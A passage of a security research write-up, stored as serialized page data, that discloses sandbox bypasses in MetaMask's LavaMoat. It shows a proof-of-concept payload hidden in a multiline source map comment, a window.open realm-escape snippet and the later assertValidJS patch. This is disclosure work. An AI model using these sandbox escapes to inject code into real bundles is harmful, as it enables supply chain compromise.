converter",{"type":23,"tag":141,"props":47142,"children":47143},{"style":160},[47144],{"type":29,"value":1674},{"type":23,"tag":141,"props":47146,"children":47147},{"style":750},[47148],{"type":29,"value":47149}," convertSourceMap",{"type":23,"tag":141,"props":47151,"children":47152},{"style":154},[47153],{"type":29,"value":322},{"type":23,"tag":141,"props":47155,"children":47156},{"style":184},[47157],{"type":29,"value":47158},"fromSource",{"type":23,"tag":141,"props":47160,"children":47161},{"style":154},[47162],{"type":29,"value":192},{"type":23,"tag":141,"props":47164,"children":47165},{"style":750},[47166],{"type":29,"value":36485},{"type":23,"tag":141,"props":47168,"children":47169},{"style":154},[47170],{"type":29,"value":758},{"type":23,"tag":141,"props":47172,"children":47173},{"class":143,"line":205},[47174],{"type":23,"tag":141,"props":47175,"children":47176},{"style":443},[47177],{"type":29,"value":47178}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":141,"props":47180,"children":47181},{"class":143,"line":218},[47182,47186,47191,47195,47199,47203,47207,47211,47216],{"type":23,"tag":141,"props":47183,"children":47184},{"style":449},[47185],{"type":29,"value":34659},{"type":23,"tag":141,"props":47187,"children":47188},{"style":750},[47189],{"type":29,"value":47190}," maps",{"type":23,"tag":141,"props":47192,"children":47193},{"style":160},[47194],{"type":29,"value":1674},{"type":23,"tag":141,"props":47196,"children":47197},{"style":750},[47198],{"type":29,"value":47140},{"type":23,"tag":141,"props":47200,"children":47201},{"style":160},[47202],{"type":29,"value":1253},{"type":23,"tag":141,"props":47204,"children":47205},{"style":750},[47206],{"type":29,"value":47140},{"type":23,"tag":141,"props":47208,"children":47209},{"style":154},[47210],{"type":29,"value":322},{"type":23,"tag":141,"props":47212,"children":47213},{"style":184},[47214],{"type":29,"value":47215},"toObject",{"type":23,"tag":141,"props":47217,"children":47218},{"style":154},[47219],{"type":29,"value":6410},{"type":23,"tag":141,"props":47221,"children":47222},{"class":143,"line":227},[47223,47227,47232,47236,47240,47244,47249,47253,47257],{"type":23,"tag":141,"props":47224,"children":47225},{"style":449},[47226],{"type":29,"value":34659},{"type":23,"tag":141,"props":47228,"children":47229},{"style":750},[47230],{"type":29,"value":47231}," code",{"type":23,"tag":141,"props":47233,"children":47234},{"style":160},[47235],{"type":29,"value":1674},{"type":23,"tag":141,"props":47237,"children":47238},{"style":750},[47239],{"type":29,"value":47149},{"type":23,"tag":141,"props":47241,"children":47242},{"style":154},[47243],{"type":29,"value":322},{"type":23,"tag":141,"props":47245,"children":47246},{"style":184},[47247],{"type":29,"value":47248},"removeComments",{"type":23,"tag":141,"props":47250,"children":47251},{"style":154},[47252],{"type":29,"value":192},{"type":23,"tag":141,"props":47254,"children":47255},{"style":750},[47256],{"type":29,"value":36485},{"type":23,"tag":141,"props":47258,"children":47259},{"style":154},[47260],{"type":29,"value":758},{"type":23,"tag":141,"props":47262,"children":47263},{"class":143,"line":241},[47264,47268,47272,47276,47280,47285],{"type":23,"tag":141,"props":47265,"children":47266},{"style":148},[47267],{"type":29,"value":37670},{"type":23,"tag":141,"props":47269,"children":47270},{"style":154},[47271],{"type":29,"value":8264},{"type":23,"tag":141,"props":47273,"children":47274},{"style":750},[47275],{"type":29,"value":38},{"type":23,"tag":141,"props":47277,"children":47278},{"style":154},[47279],{"type":29,"value":480},{"type":23,"tag":141,"props":47281,"children":47282},{"style":750},[47283],{"type":29,"value":47284},"maps",{"type":23,"tag":141,"props":47286,"children":47287},{"style":154},[47288],{"type":29,"value":8274},{"type":23,"tag":141,"props":47290,"children":47291},{"class":143,"line":262},[47292],{"type":23,"tag":141,"props":47293,"children":47294},{"style":154},[47295],{"type":29,"value":2573},{"type":23,"tag":32,"props":47297,"children":47298},{},[47299,47301,47306,47308,47313],{"type":29,"value":47300},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":38,"props":47302,"children":47304},{"className":47303},[],[47305],{"type":29,"value":46743},{"type":29,"value":47307}," stage. Reviewing the ",{"type":23,"tag":38,"props":47309,"children":47311},{"className":47310},[],[47312],{"type":29,"value":47095},{"type":29,"value":47314}," code, we can see exactly how this happens.",{"type":23,"tag":131,"props":47316,"children":47318},{"className":29831,"code":47317,"language":29833,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[47319],{"type":23,"tag":38,"props":47320,"children":47321},{"__ignoreMap":7},[47322,47361,47387,47395,47609,47616,47623,47630,47665,47715],{"type":23,"tag":141,"props":47323,"children":47324},{"class":143,"line":144},[47325,47330,47334,47339,47343,47347,47351,47356],{"type":23,"tag":141,"props":47326,"children":47327},{"style":750},[47328],{"type":29,"value":47329},"Object",{"type":23,"tag":141,"props":47331,"children":47332},{"style":154},[47333],{"type":29,"value":322},{"type":23,"tag":141,"props":47335,"children":47336},{"style":184},[47337],{"type":29,"value":47338},"defineProperty",{"type":23,"tag":141,"props":47340,"children":47341},{"style":154},[47342],{"type":29,"value":192},{"type":23,"tag":141,"props":47344,"children":47345},{"style":725},[47346],{"type":29,"value":36357},{"type":23,"tag":141,"props":47348,"children":47349},{"style":154},[47350],{"type":29,"value":480},{"type":23,"tag":141,"props":47352,"children":47353},{"style":828},[47354],{"type":29,"value":47355},"'commentRegex'",{"type":23,"tag":141,"props":47357,"children":47358},{"style":154},[47359],{"type":29,"value":47360},", {\n",{"type":23,"tag":141,"props":47362,"children":47363},{"class":143,"line":180},[47364,47369,47373,47377,47382],{"type":23,"tag":141,"props":47365,"children":47366},{"style":184},[47367],{"type":29,"value":47368}," get",{"type":23,"tag":141,"props":47370,"children":47371},{"style":750},[47372],{"type":29,"value":114},{"type":23,"tag":141,"props":47374,"children":47375},{"style":449},[47376],{"type":29,"value":36685},{"type":23,"tag":141,"props":47378,"children":47379},{"style":184},[47380],{"type":29,"value":47381}," getCommentRegex",{"type":23,"tag":141,"props":47383,"children":47384},{"style":154},[47385],{"type":29,"value":47386}," () {\n",{"type":23,"tag":141,"props":47388,"children":47389},{"class":143,"line":205},[47390],{"type":23,"tag":141,"props":47391,"children":47392},{"style":443},[47393],{"type":29,"value":47394}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":141,"props":47396,"children":47397},{"class":143,"line":218},[47398,47402,47408,47413,47418,47423,47427,47432,47437,47442,47446,47450,47455,47460,47465,47470,47474,47478,47482,47487,47491,47496,47501,47506,47511,47515,47519,47523,47527,47531,47535,47539,47543,47548,47553,47557,47562,47567,47571,47575,47579,47583,47588,47592,47596,47600,47605],{"type":23,"tag":141,"props":47399,"children":47400},{"style":148},[47401],{"type":29,"value":15665},{"type":23,"tag":141,"props":47403,"children":47405},{"style":47404},"--shiki-default:#D16969",[47406],{"type":29,"value":47407}," /",{"type":23,"tag":141,"props":47409,"children":47410},{"style":184},[47411],{"type":29,"value":47412},"^",{"type":23,"tag":141,"props":47414,"children":47415},{"style":47404},[47416],{"type":29,"value":47417},"\\s",{"type":23,"tag":141,"props":47419,"children":47420},{"style":46851},[47421],{"type":29,"value":47422},"*?\\/",{"type":23,"tag":141,"props":47424,"children":47425},{"style":828},[47426],{"type":29,"value":2399},{"type":23,"tag":141,"props":47428,"children":47429},{"style":46851},[47430],{"type":29,"value":47431},"\\/\\*",{"type":23,"tag":141,"props":47433,"children":47434},{"style":828},[47435],{"type":29,"value":47436},"][",{"type":23,"tag":141,"props":47438,"children":47439},{"style":47404},[47440],{"type":29,"value":47441},"@#",{"type":23,"tag":141,"props":47443,"children":47444},{"style":828},[47445],{"type":29,"value":14088},{"type":23,"tag":141,"props":47447,"children":47448},{"style":47404},[47449],{"type":29,"value":47417},{"type":23,"tag":141,"props":47451,"children":47452},{"style":46851},[47453],{"type":29,"value":47454},"+?",{"type":23,"tag":141,"props":47456,"children":47457},{"style":47404},[47458],{"type":29,"value":47459},"sourceMappingURL=data:",{"type":23,"tag":141,"props":47461,"children":47462},{"style":828},[47463],{"type":29,"value":47464},"(((?:",{"type":23,"tag":141,"props":47466,"children":47467},{"style":47404},[47468],{"type":29,"value":47469},"application",{"type":23,"tag":141,"props":47471,"children":47472},{"style":184},[47473],{"type":29,"value":9096},{"type":23,"tag":141,"props":47475,"children":47476},{"style":47404},[47477],{"type":29,"value":29},{"type":23,"tag":141,"props":47479,"children":47480},{"style":828},[47481],{"type":29,"value":1788},{"type":23,"tag":141,"props":47483,"children":47484},{"style":46851},[47485],{"type":29,"value":47486},"\\/",{"type":23,"tag":141,"props":47488,"children":47489},{"style":47404},[47490],{"type":29,"value":32467},{"type":23,"tag":141,"props":47492,"children":47493},{"style":828},[47494],{"type":29,"value":47495},")(?:",{"type":23,"tag":141,"props":47497,"children":47498},{"style":47404},[47499],{"type":29,"value":47500},";charset=",{"type":23,"tag":141,"props":47502,"children":47503},{"style":828},[47504],{"type":29,"value":47505},"([^",{"type":23,"tag":141,"props":47507,"children":47508},{"style":47404},[47509],{"type":29,"value":47510},";,",{"type":23,"tag":141,"props":47512,"children":47513},{"style":828},[47514],{"type":29,"value":14088},{"type":23,"tag":141,"props":47516,"children":47517},{"style":46851},[47518],{"type":29,"value":47454},{"type":23,"tag":141,"props":47520,"children":47521},{"style":828},[47522],{"type":29,"value":1788},{"type":23,"tag":141,"props":47524,"children":47525},{"style":46851},[47526],{"type":29,"value":1816},{"type":23,"tag":141,"props":47528,"children":47529},{"style":828},[47530],{"type":29,"value":1788},{"type":23,"tag":141,"props":47532,"children":47533},{"style":46851},[47534],{"type":29,"value":1816},{"type":23,"tag":141,"props":47536,"children":47537},{"style":828},[47538],{"type":29,"value":1788},{"type":23,"tag":141,"props":47540,"children":47541},{"style":46851},[47542],{"type":29,"value":1816},{"type":23,"tag":141,"props":47544,"children":47545},{"style":828},[47546],{"type":29,"value":47547},"(?:",{"type":23,"tag":141,"props":47549,"children":47550},{"style":47404},[47551],{"type":29,"value":47552},";",{"type":23,"tag":141,"props":47554,"children":47555},{"style":828},[47556],{"type":29,"value":192},{"type":23,"tag":141,"props":47558,"children":47559},{"style":47404},[47560],{"type":29,"value":47561},"base64",{"type":23,"tag":141,"props":47563,"children":47564},{"style":828},[47565],{"type":29,"value":47566},"))",{"type":23,"tag":141,"props":47568,"children":47569},{"style":46851},[47570],{"type":29,"value":1816},{"type":23,"tag":141,"props":47572,"children":47573},{"style":47404},[47574],{"type":29,"value":512},{"type":23,"tag":141,"props":47576,"children":47577},{"style":828},[47578],{"type":29,"value":192},{"type":23,"tag":141,"props":47580,"children":47581},{"style":47404},[47582],{"type":29,"value":322},{"type":23,"tag":141,"props":47584,"children":47585},{"style":46851},[47586],{"type":29,"value":47587},"*?",{"type":23,"tag":141,"props":47589,"children":47590},{"style":828},[47591],{"type":29,"value":1788},{"type":23,"tag":141,"props":47593,"children":47594},{"style":184},[47595],{"type":29,"value":8968},{"type":23,"tag":141,"props":47597,"children":47598},{"style":47404},[47599],{"type":29,"value":3255},{"type":23,"tag":141,"props":47601,"children":47602},{"style":449},[47603],{"type":29,"value":47604},"mg",{"type":23,"tag":141,"props":47606,"children":47607},{"style":154},[47608],{"type":29,"value":1684},{"type":23,"tag":141,"props":47610,"children":47611},{"class":143,"line":227},[47612],{"type":23,"tag":141,"props":47613,"children":47614},{"style":154},[47615],{"type":29,"value":854},{"type":23,"tag":141,"props":47617,"children":47618},{"class":143,"line":241},[47619],{"type":23,"tag":141,"props":47620,"children":47621},{"style":154},[47622],{"type":29,"value":33808},{"type":23,"tag":141,"props":47624,"children":47625},{"class":143,"line":262},[47626],{"type":23,"tag":141,"props":47627,"children":47628},{"emptyLinePlaceholder":15},[47629],{"type":29,"value":719},{"type":23,"tag":141,"props":47631,"children":47632},{"class":143,"line":271},[47633,47637,47641,47645,47649,47653,47657,47661],{"type":23,"tag":141,"props":47634,"children":47635},{"style":725},[47636],{"type":29,"value":36357},{"type":23,"tag":141,"props":47638,"children":47639},{"style":154},[47640],{"type":29,"value":322},{"type":23,"tag":141,"props":47642,"children":47643},{"style":184},[47644],{"type":29,"value":47248},{"type":23,"tag":141,"props":47646,"children":47647},{"style":160},[47648],{"type":29,"value":1674},{"type":23,"tag":141,"props":47650,"children":47651},{"style":449},[47652],{"type":29,"value":36685},{"type":23,"tag":141,"props":47654,"children":47655},{"style":154},[47656],{"type":29,"value":1220},{"type":23,"tag":141,"props":47658,"children":47659},{"style":750},[47660],{"type":29,"value":31138},{"type":23,"tag":141,"props":47662,"children":47663},{"style":154},[47664],{"type":29,"value":13480},{"type":23,"tag":141,"props":47666,"children":47667},{"class":143,"line":293},[47668,47672,47676,47680,47685,47689,47693,47697,47702,47706,47711],{"type":23,"tag":141,"props":47669,"children":47670},{"style":148},[47671],{"type":29,"value":37670},{"type":23,"tag":141,"props":47673,"children":47674},{"style":750},[47675],{"type":29,"value":46839},{"type":23,"tag":141,"props":47677,"children":47678},{"style":154},[47679],{"type":29,"value":322},{"type":23,"tag":141,"props":47681,"children":47682},{"style":184},[47683],{"type":29,"value":47684},"replace",{"type":23,"tag":141,"props":47686,"children":47687},{"style":154},[47688],{"type":29,"value":192},{"type":23,"tag":141,"props":47690,"children":47691},{"style":725},[47692],{"type":29,"value":36357},{"type":23,"tag":141,"props":47694,"children":47695},{"style":154},[47696],{"type":29,"value":322},{"type":23,"tag":141,"props":47698,"children":47699},{"style":750},[47700],{"type":29,"value":47701},"commentRegex",{"type":23,"tag":141,"props":47703,"children":47704},{"style":154},[47705],{"type":29,"value":480},{"type":23,"tag":141,"props":47707,"children":47708},{"style":828},[47709],{"type":29,"value":47710},"''",{"type":23,"tag":141,"props":47712,"children":47713},{"style":154},[47714],{"type":29,"value":2496},{"type":23,"tag":141,"props":47716,"children":47717},{"class":143,"line":801},[47718],{"type":23,"tag":141,"props":47719,"children":47720},{"style":154},[47721],{"type":29,"value":1357},{"type":23,"tag":32,"props":47723,"children":47724},{},[47725,47727,47733],{"type":29,"value":47726},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":38,"props":47728,"children":47730},{"className":47729},[],[47731],{"type":29,"value":47732},"/*",{"type":29,"value":47734},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":8287,"props":47736,"children":47738},{"id":47737},"the-bypass",[47739],{"type":29,"value":47740},"The Bypass",{"type":23,"tag":32,"props":47742,"children":47743},{},[47744,47746,47751,47753,47758],{"type":29,"value":47745},"By abusing the ",{"type":23,"tag":38,"props":47747,"children":47749},{"className":47748},[],[47750],{"type":29,"value":47248},{"type":29,"value":47752}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":38,"props":47754,"children":47756},{"className":47755},[],[47757],{"type":29,"value":46592},{"type":29,"value":47759}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":131,"props":47761,"children":47763},{"className":29831,"code":47762,"language":29833,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[47764],{"type":23,"tag":38,"props":47765,"children":47766},{"__ignoreMap":7},[47767,47775,47782,47790,47798,47806,47814,47822,47830,47837,47845],{"type":23,"tag":141,"props":47768,"children":47769},{"class":143,"line":144},[47770],{"type":23,"tag":141,"props":47771,"children":47772},{"style":443},[47773],{"type":29,"value":47774},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":141,"props":47776,"children":47777},{"class":143,"line":180},[47778],{"type":23,"tag":141,"props":47779,"children":47780},{"emptyLinePlaceholder":15},[47781],{"type":29,"value":719},{"type":23,"tag":141,"props":47783,"children":47784},{"class":143,"line":205},[47785],{"type":23,"tag":141,"props":47786,"children":47787},{"style":443},[47788],{"type":29,"value":47789},"}}}}\n",{"type":23,"tag":141,"props":47791,"children":47792},{"class":143,"line":218},[47793],{"type":23,"tag":141,"props":47794,"children":47795},{"style":443},[47796],{"type":29,"value":47797},"}, {\n",{"type":23,"tag":141,"props":47799,"children":47800},{"class":143,"line":227},[47801],{"type":23,"tag":141,"props":47802,"children":47803},{"style":443},[47804],{"type":29,"value":47805}," package: \"xpl\",\n",{"type":23,"tag":141,"props":47807,"children":47808},{"class":143,"line":241},[47809],{"type":23,"tag":141,"props":47810,"children":47811},{"style":443},[47812],{"type":29,"value":47813}," file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":141,"props":47815,"children":47816},{"class":143,"line":262},[47817],{"type":23,"tag":141,"props":47818,"children":47819},{"style":443},[47820],{"type":29,"value":47821}," test: alert(document.domain),\n",{"type":23,"tag":141,"props":47823,"children":47824},{"class":143,"line":271},[47825],{"type":23,"tag":141,"props":47826,"children":47827},{"style":443},[47828],{"type":29,"value":47829}," test1: () => { () => { () => { () => {\n",{"type":23,"tag":141,"props":47831,"children":47832},{"class":143,"line":293},[47833],{"type":23,"tag":141,"props":47834,"children":47835},{"emptyLinePlaceholder":15},[47836],{"type":29,"value":719},{"type":23,"tag":141,"props":47838,"children":47839},{"class":143,"line":801},[47840],{"type":23,"tag":141,"props":47841,"children":47842},{"style":443},[47843],{"type":29,"value":47844},"/*\n",{"type":23,"tag":141,"props":47846,"children":47847},{"class":143,"line":810},[47848],{"type":23,"tag":141,"props":47849,"children":47850},{"style":443},[47851],{"type":29,"value":47852},"*/\n",{"type":23,"tag":32,"props":47854,"children":47855},{},[47856],{"type":29,"value":47857},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":8287,"props":47859,"children":47861},{"id":47860},"lavapack-patch",[47862],{"type":29,"value":47863},"Lavapack Patch",{"type":23,"tag":32,"props":47865,"children":47866},{},[47867,47869,47875],{"type":29,"value":47868},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":38,"props":47870,"children":47872},{"className":47871},[],[47873],{"type":29,"value":47874},"assertValidJS",{"type":29,"value":47876},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":32,"props":47878,"children":47879},{},[47880,47882,47889],{"type":29,"value":47881},"The patch was introduced in commit ",{"type":23,"tag":55,"props":47883,"children":47886},{"href":47884,"rel":47885},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[59],[47887],{"type":29,"value":47888},"9c38cd4",{"type":29,"value":322},{"type":23,"tag":131,"props":47891,"children":47893},{"className":38832,"code":47892,"language":38834,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[47894],{"type":23,"tag":38,"props":47895,"children":47896},{"__ignoreMap":7},[47897,47905,47913,47921,47929,47937,47945,47953,47960,47968],{"type":23,"tag":141,"props":47898,"children":47899},{"class":143,"line":144},[47900],{"type":23,"tag":141,"props":47901,"children":47902},{"style":472},[47903],{"type":29,"value":47904},"+ function assertValidJS(code) {\n",{"type":23,"tag":141,"props":47906,"children":47907},{"class":143,"line":180},[47908],{"type":23,"tag":141,"props":47909,"children":47910},{"style":472},[47911],{"type":29,"value":47912},"+ try {\n",{"type":23,"tag":141,"props":47914,"children":47915},{"class":143,"line":205},[47916],{"type":23,"tag":141,"props":47917,"children":47918},{"style":472},[47919],{"type":29,"value":47920},"+ new Function(code)\n",{"type":23,"tag":141,"props":47922,"children":47923},{"class":143,"line":218},[47924],{"type":23,"tag":141,"props":47925,"children":47926},{"style":472},[47927],{"type":29,"value":47928},"+ } catch (err) {\n",{"type":23,"tag":141,"props":47930,"children":47931},{"class":143,"line":227},[47932],{"type":23,"tag":141,"props":47933,"children":47934},{"style":472},[47935],{"type":29,"value":47936},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":141,"props":47938,"children":47939},{"class":143,"line":241},[47940],{"type":23,"tag":141,"props":47941,"children":47942},{"style":472},[47943],{"type":29,"value":47944},"+ }\n",{"type":23,"tag":141,"props":47946,"children":47947},{"class":143,"line":262},[47948],{"type":23,"tag":141,"props":47949,"children":47950},{"style":472},[47951],{"type":29,"value":47952},"+ }\n",{"type":23,"tag":141,"props":47954,"children":47955},{"class":143,"line":271},[47956],{"type":23,"tag":141,"props":47957,"children":47958},{"emptyLinePlaceholder":15},[47959],{"type":29,"value":719},{"type":23,"tag":141,"props":47961,"children":47962},{"class":143,"line":293},[47963],{"type":23,"tag":141,"props":47964,"children":47965},{"style":472},[47966],{"type":29,"value":47967},"+ // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":141,"props":47969,"children":47970},{"class":143,"line":801},[47971],{"type":23,"tag":141,"props":47972,"children":47973},{"style":472},[47974],{"type":29,"value":47975},"+ assertValidJS(sourceMeta.code)\n",{"type":23,"tag":24,"props":47977,"children":47979},{"id":47978},"hacking-js-realms",[47980],{"type":29,"value":47981},"Hacking JS Realms",{"type":23,"tag":32,"props":47983,"children":47984},{},[47985,47987,47992],{"type":29,"value":47986},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":38,"props":47988,"children":47990},{"className":47989},[],[47991],{"type":29,"value":35888},{"type":29,"value":47993}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":131,"props":47995,"children":47997},{"className":29831,"code":47996,"language":29833,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[47998],{"type":23,"tag":38,"props":47999,"children":48000},{"__ignoreMap":7},[48001,48043],{"type":23,"tag":141,"props":48002,"children":48003},{"class":143,"line":144},[48004,48008,48013,48017,48021,48025,48030,48034,48039],{"type":23,"tag":141,"props":48005,"children":48006},{"style":449},[48007],{"type":29,"value":8334},{"type":23,"tag":141,"props":48009,"children":48010},{"style":750},[48011],{"type":29,"value":48012}," w",{"type":23,"tag":141,"props":48014,"children":48015},{"style":160},[48016],{"type":29,"value":1674},{"type":23,"tag":141,"props":48018,"children":48019},{"style":750},[48020],{"type":29,"value":29876},{"type":23,"tag":141,"props":48022,"children":48023},{"style":154},[48024],{"type":29,"value":322},{"type":23,"tag":141,"props":48026,"children":48027},{"style":184},[48028],{"type":29,"value":48029},"open",{"type":23,"tag":141,"props":48031,"children":48032},{"style":154},[48033],{"type":29,"value":192},{"type":23,"tag":141,"props":48035,"children":48036},{"style":828},[48037],{"type":29,"value":48038},"'/non_existent'",{"type":23,"tag":141,"props":48040,"children":48041},{"style":154},[48042],{"type":29,"value":2496},{"type":23,"tag":141,"props":48044,"children":48045},{"class":143,"line":180},[48046,48051,48055,48059,48063,48067,48071,48075],{"type":23,"tag":141,"props":48047,"children":48048},{"style":750},[48049],{"type":29,"value":48050},"w",{"type":23,"tag":141,"props":48052,"children":48053},{"style":154},[48054],{"type":29,"value":322},{"type":23,"tag":141,"props":48056,"children":48057},{"style":184},[48058],{"type":29,"value":31166},{"type":23,"tag":141,"props":48060,"children":48061},{"style":154},[48062],{"type":29,"value":192},{"type":23,"tag":141,"props":48064,"children":48065},{"style":750},[48066],{"type":29,"value":31176},{"type":23,"tag":141,"props":48068,"children":48069},{"style":154},[48070],{"type":29,"value":322},{"type":23,"tag":141,"props":48072,"children":48073},{"style":750},[48074],{"type":29,"value":31186},{"type":23,"tag":141,"props":48076,"children":48077},{"style":154},[48078],{"type":29,"value":758},{"type":23,"tag":32,"props":48080,"children":48081},{},[48082,48084,48089],{"type":29,"value":48083},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":38,"props":48085,"children":48087},{"className":48086},[],[48088],{"type":29,"value":35888},{"type":29,"value":48090}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":32,"props":48092,"children":48093},{},[48094,48096,48103],{"type":29,"value":48095},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":55,"props":48097,"children":48100},{"href":48098,"rel":48099},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[59],[48101],{"type":29,"value":48102},"Metamask implementation",{"type":29,"value":1788},{"type":23,"tag":8287,"props":48105,"children":48107},{"id":48106},"snowjs-attack-surface",[48108],{"type":29,"value":48109},"SnowJS Attack Surface",{"type":23,"tag":32,"props":48111,"children":48112},{},[48113],{"type":29,"value":48114},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":32,"props":48116,"children":48117},{},[48118,48120,48127],{"type":29,"value":48119},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":55,"props":48121,"children":48124},{"href":48122,"rel":48123},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[59],[48125],{"type":29,"value":48126},"hooked inserters",{"type":29,"value":48128}," functions:",{"type":23,"tag":131,"props":48130,"children":48132},{"className":29831,"code":48131,"language":29833,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[48133],{"type":23,"tag":38,"props":48134,"children":48135},{"__ignoreMap":7},[48136,48156,48177,48216,48270,48309,48408,48428,48449],{"type":23,"tag":141,"props":48137,"children":48138},{"class":143,"line":144},[48139,48143,48148,48152],{"type":23,"tag":141,"props":48140,"children":48141},{"style":449},[48142],{"type":29,"value":8334},{"type":23,"tag":141,"props":48144,"children":48145},{"style":750},[48146],{"type":29,"value":48147}," map",{"type":23,"tag":141,"props":48149,"children":48150},{"style":160},[48151],{"type":29,"value":1674},{"type":23,"tag":141,"props":48153,"children":48154},{"style":154},[48155],{"type":29,"value":1951},{"type":23,"tag":141,"props":48157,"children":48158},{"class":143,"line":180},[48159,48164,48168,48173],{"type":23,"tag":141,"props":48160,"children":48161},{"style":750},[48162],{"type":29,"value":48163}," Range:",{"type":23,"tag":141,"props":48165,"children":48166},{"style":154},[48167],{"type":29,"value":21704},{"type":23,"tag":141,"props":48169,"children":48170},{"style":828},[48171],{"type":29,"value":48172},"'insertNode'",{"type":23,"tag":141,"props":48174,"children":48175},{"style":154},[48176],{"type":29,"value":12939},{"type":23,"tag":141,"props":48178,"children":48179},{"class":143,"line":205},[48180,48185,48189,48194,48198,48203,48207,48212],{"type":23,"tag":141,"props":48181,"children":48182},{"style":750},[48183],{"type":29,"value":48184}," DocumentFragment:",{"type":23,"tag":141,"props":48186,"children":48187},{"style":154},[48188],{"type":29,"value":21704},{"type":23,"tag":141,"props":48190,"children":48191},{"style":828},[48192],{"type":29,"value":48193},"'replaceChildren'",{"type":23,"tag":141,"props":48195,"children":48196},{"style":154},[48197],{"type":29,"value":480},{"type":23,"tag":141,"props":48199,"children":48200},{"style":828},[48201],{"type":29,"value":48202},"'append'",{"type":23,"tag":141,"props":48204,"children":48205},{"style":154},[48206],{"type":29,"value":480},{"type":23,"tag":141,"props":48208,"children":48209},{"style":828},[48210],{"type":29,"value":48211},"'prepend'",{"type":23,"tag":141,"props":48213,"children":48214},{"style":154},[48215],{"type":29,"value":12939},{"type":23,"tag":141,"props":48217,"children":48218},{"class":143,"line":218},[48219,48224,48228,48232,48236,48240,48244,48248,48252,48257,48261,48266],{"type":23,"tag":141,"props":48220,"children":48221},{"style":750},[48222],{"type":29,"value":48223}," Document:",{"type":23,"tag":141,"props":48225,"children":48226},{"style":154},[48227],{"type":29,"value":21704},{"type":23,"tag":141,"props":48229,"children":48230},{"style":828},[48231],{"type":29,"value":48193},{"type":23,"tag":141,"props":48233,"children":48234},{"style":154},[48235],{"type":29,"value":480},{"type":23,"tag":141,"props":48237,"children":48238},{"style":828},[48239],{"type":29,"value":48202},{"type":23,"tag":141,"props":48241,"children":48242},{"style":154},[48243],{"type":29,"value":480},{"type":23,"tag":141,"props":48245,"children":48246},{"style":828},[48247],{"type":29,"value":48211},{"type":23,"tag":141,"props":48249,"children":48250},{"style":154},[48251],{"type":29,"value":480},{"type":23,"tag":141,"props":48253,"children":48254},{"style":828},[48255],{"type":29,"value":48256},"'write'",{"type":23,"tag":141,"props":48258,"children":48259},{"style":154},[48260],{"type":29,"value":480},{"type":23,"tag":141,"props":48262,"children":48263},{"style":828},[48264],{"type":29,"value":48265},"'writeln'",{"type":23,"tag":141,"props":48267,"children":48268},{"style":154},[48269],{"type":29,"value":12939},{"type":23,"tag":141,"props":48271,"children":48272},{"class":143,"line":227},[48273,48278,48282,48287,48291,48296,48300,48305],{"type":23,"tag":141,"props":48274,"children":48275},{"style":750},[48276],{"type":29,"value":48277}," 